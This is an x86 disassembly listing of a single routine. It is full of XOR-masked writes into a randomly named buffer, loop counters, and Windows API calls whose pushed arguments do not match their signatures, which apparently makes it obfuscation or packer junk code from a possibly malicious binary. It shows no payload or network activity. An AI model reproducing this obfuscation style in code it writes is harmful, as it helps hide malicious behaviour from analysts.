xor ecx, 0x6975e8d0
mov edx, dword [ebp + 0x1c]
xor edx, 0xbe26
xor edx, 0x8365
mov dword [edx + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], ecx
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x2c]
push ecx
mov edx, dword [0x83b9c4]
add edx, 5
push edx
mov eax, dword [0x83b994]
sub eax, 0x4f
push eax
call fcn.00419f60
add esp, 0xc
mov ecx, dword [ebp + 0x10]
or ecx, 0x1fe1
xor ecx, 0xff43
mov edx, dword [ebp + 0x20]
add edx, 0xdb40
xor edx, 0x1033d
mov byte [edx + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], cl
mov eax, dword [ebp - 0x50]
add eax, 0x2d
push eax
mov ecx, dword [0x83b9f0]
add ecx, 0x32
push ecx
call fcn.00421cd0
add esp, 8
mov edx, dword [ebp + 0x20]
and edx, 0x2081
sub edx, 0xc55
xor edx, 0x4d4e51fa
mov eax, dword [ebp + 0x10]
add eax, 0x20ae
xor eax, 0x10081
mov dword [eax + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], edx
mov dword [ebp - 0x98], 0
jmp 0x4020dc
mov ecx, dword [ebp - 0x98]
add ecx, 1
mov dword [ebp - 0x98], ecx
mov edx, dword [ebp - 0x5c]
sub edx, 0x186b9
cmp dword [ebp - 0x98], edx
jge 0x40212e
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
push 0xcf89
push 0x14787
push 0x2dba
push 0x74bd
push 0x6c1c
push 0x6a25
push 0xaf6a
push 0x8ab7
push 0x13632
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
add esp, 0x24
jmp 0x4020cd
mov ecx, dword [ebp - 0x1c]
add ecx, 0x59
push ecx
mov edx, dword [0x83b9f4]
sub edx, 0x34
push edx
mov eax, dword [ebp - 8]
add eax, 0x1b
push eax
mov ecx, dword [0x83b9c4]
sub ecx, 0x39
push ecx
mov edx, dword [0x83b9c4]
sub edx, 1
push edx
mov eax, dword [0x83b9d8]
add eax, 0x1a
push eax
mov ecx, dword [ebp - 0x44]
sub ecx, 0x4f
push ecx
mov edx, dword [ebp - 0x48]
sub edx, 0x21
push edx
call fcn.00427a00
add esp, 0x20
mov eax, dword [0x83b9fc]
add eax, 1
mov dword [0x83b9fc], eax
mov dword [ebp - 0x9c], 0
jmp 0x4021a1
mov ecx, dword [ebp - 0x9c]
add ecx, 1
mov dword [ebp - 0x9c], ecx
mov edx, dword [ebp - 0x2c]
sub edx, 0x186ed
cmp dword [ebp - 0x9c], edx
jge 0x4022dc
mov eax, dword [ebp - 0x60]
cmp eax, dword [0x83b9d8]
jge 0x4021cd
mov dword [ebp - 0xf4], 1
jmp 0x4021d7
mov dword [ebp - 0xf4], 0
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x144], ecx
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x148], edx
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x144]
cmp ecx, dword [ebp - 0x148]
jge 0x40220c
mov dword [ebp - 0xf8], 1
jmp 0x402216
mov dword [ebp - 0xf8], 0
mov edx, dword [0x83b9fc]
sub edx, dword [ebp - 0x20]
and edx, dword [ebp - 0xf4]
and edx, dword [ebp - 0xf8]
je 0x4022d7
mov eax, dword [ebp - 0x20]
cmp eax, dword [0x83b9f4]
jge 0x402248
mov dword [ebp - 0xfc], 1
jmp 0x402252
mov dword [ebp - 0xfc], 0
mov ecx, dword [0x83b9f0]
add ecx, dword [ebp - 0x28]
cmp ecx, dword [0x83b9c4]
jge 0x40226f
mov dword [ebp - 0x100], 1
jmp 0x402279
mov dword [ebp - 0x100], 0
mov edx, dword [0x83b9f8]
cmp edx, dword [ebp - 0x3c]
jge 0x402290
mov dword [ebp - 0x104], 1
jmp 0x40229a
mov dword [ebp - 0x104], 0
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0xfc]
and ecx, dword [ebp - 0x100]
and ecx, dword [ebp - 0x104]
or ecx, dword [ebp - 0x34]
je 0x4022c9
mov edx, dword [0x83b9c0]
add edx, 1
mov dword [0x83b9c0], edx
push 0x11c64
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
add esp, 4
jmp 0x402192
mov eax, dword [ebp + 0x14]
add eax, 0x78c0
xor eax, 0x10aee
mov ecx, dword [ebp + 0xc]
and ecx, 0xf214
xor ecx, 0x4240
mov byte [ecx + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], al
mov edx, dword [0x83b9fc]
add edx, 0x2e
push edx
mov eax, dword [ebp - 0x28]
add eax, 9
push eax
mov ecx, dword [0x83b9dc]
sub ecx, 0xb
push ecx
mov edx, dword [0x83b940]
add edx, 0xd
push edx
mov eax, dword [ebp - 4]
sub eax, 0x1a
push eax
mov ecx, dword [0x83b9fc]
add ecx, 0x25
push ecx
mov edx, dword [0x83b9fc]
sub edx, 0xc
push edx
mov eax, dword [ebp - 4]
sub eax, 0x2a
push eax
mov ecx, dword [0x83b994]
sub ecx, 0x57
push ecx
call fcn.0041ed70
add esp, 0x24
mov edx, dword [ebp - 4]
sub edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0x10]
and eax, 0xe6ce
xor eax, 0x4b4aa845
mov ecx, dword [ebp + 0x18]
and ecx, 0x1d42
sub ecx, 0x479c
and ecx, 0x2b4
xor ecx, 0x8c
mov dword [ecx + str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN], eax
mov edx, dword [ebp - 0xc]
add edx, 0xc
push edx
mov eax, dword [0x83b9f4]
sub eax, 0x11
push eax
mov ecx, dword [ebp - 0x4c]
sub ecx, 0x17
push ecx
call fcn.00419f60
add esp, 0xc
mov edx, dword [0x83b9d8]
sub edx, 0x2e
push edx
mov eax, dword [ebp - 8]
add eax, 0x1c
push eax
mov ecx, dword [ebp - 0x38]
add ecx, 0x11
push ecx
call fcn.00421890
add esp, 0xc
mov edx, dword [ebp - 0x3c]
add edx, 1
mov dword [ebp - 0x3c], edx
mov eax, str.lCJWgDhHyKbCnbmYnxWetOsqFwJQUBWEATJQDnURrXcftkRpxxGIvhTtecZDWkwtlwNIjaN
jmp 0x402505
mov esp, ebp
pop ebp
ret